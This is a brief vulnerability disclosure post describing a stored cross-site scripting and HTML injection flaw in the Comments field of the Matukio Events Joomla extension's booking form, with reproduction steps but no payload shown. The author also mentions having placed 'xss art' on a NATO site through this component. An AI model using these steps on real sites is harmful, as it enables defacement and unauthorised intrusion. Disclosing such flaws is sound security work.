PoC:

I found simple , but interesting stored xss in Matukio Events.

Press "Book Now":

Field "Comments" vulnerable to XSS and html code injection.

Put xss code and save this. It's works with different codes.

The code I like for the test:

I don't publicly test the Joomla extensions anymore, but this time I
posted it publicly because I did xss art on the NATO site in this
component.)
